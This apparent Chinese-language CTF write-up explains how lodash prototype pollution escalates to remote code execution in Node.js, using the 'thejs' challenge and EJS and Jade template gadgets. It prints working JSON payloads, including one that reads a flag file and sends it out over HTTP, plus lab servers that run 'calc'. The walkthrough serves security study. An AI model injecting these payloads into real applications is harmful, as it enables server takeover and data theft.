• lodash从污染到rce


    以code-breaking2018中的thejs为例
    • 搭环境


      在package中修改以下代码
    • 污染


      然后到baseMerge中

      继续跟进:



      发现存在原型链污染的条件:键可控且值可修改。
      相同的原理,利用lodash.mergeWith,lodash.set,lodash.setWith也可造成原型链污染。
    • rce过程


      利用lodash.template

      单步进入到这

      然后进入lodash.template中

      利用Function构造函数来执行命令。
      payload:
      {"__proto__":{"sourceURL":"xxx\r\nvar require = global.require || global.process.mainModule.constructor._load;var result = require('child_process').execSync('cat /flag_thepr0t0js').toString();var req = require('http').request(`http://localhost:12333/${result}`);req.end();\r\n"}} 
      

       
  • ejs实现rce


    • 环境搭建


      test.js
      var express = require('express');
      var _= require('lodash');
          var ejs = require('ejs');
          var app = express();
          //设置模板的位置
          app.set('views', __dirname);
          //对原型进行污染
          var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
          _.merge({}, JSON.parse(malicious_payload));
          //进行渲染
          app.get('/', function (req, res) {
              res.render ("./test.ejs",{
                  message: 'lufei test '
              });
          });
          //设置http
          var server = app.listen(8081, function () {
              var host = server.address().address
              var port = server.address().port
              console.log("应用实例,访问地址为 http://%s:%s", host, port)
          });
      

      test.ejs

      设置debug方式如上

    • rce过程



      ​ ​ 进入response.js中
      ​ ​
      ​ ​ 进入application.js的tryRender中
      ​ ​
      ​ ​ 然后进入view.js中
      ​ ​
      ​ ​ 进入ejs.js中,准备开始渲染,先进到tryHandleCache中
      ​ ​
      ​ ​ 然后调用handleCache
      ​ ​
      ​ ​ 进入compile方法,开始渲染
      ​ ​
      ​ ​ 发现传入的outputFunctionName直接被拼接
      ​ ​
      ​ ​ 成功rce

    payload:
      {"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}
    
  • jade实现rce


    • 搭环境


      app.js
      var express = require('express');
      var lodash= require('lodash');
      var jade = require('jade');
      var app = express();
      //设置模板的位置与种类
      app.set('views', __dirname);
      app.set("view engine", "jade");
      //对原型进行污染
      var malicious_payload = '{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require(\'child_process\').execSync(\'calc\'))"}}';
      lodash.merge({}, JSON.parse(malicious_payload));
      //进行渲染
      app.get('/', function (req, res) {
        res.render ("index.jade",{
            message: 'whoami test'
      });
      });
      //设置http
      var server = app.listen(8000, function () {
      var host = server.address().address
      var port = server.address().port
      console.log("应用实例,访问地址为 http://%s:%s", host, port)
      });
      

      index.jade
      h1 #{message}
      p #{message}
      

     
    • rce过程


      刚开始和ejs的很像,从response.js开始,每次进入下一个render函数中。

      ​然后进入index.js中

      ​ 进入handleTemplateCache中

      ​ 进入complie中并进行parsed解析

      ​ 然后通过原型链污染绕过进入这个if语句

      ​ 解析完之后再看compile部分

      ​ 进入compiler.js中

      ​ 在这里进行了AST的解析,把最后的结果放进buf中,关注visit函数,如果这里的debug为真,那么就可以拼接传入的line,从而实现rce。

      payload:
      {"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('calc'))"}}```
      

       
参考文献:

https://www.anquanke.com/post/id/248170#h2-10

标签: none

添加新评论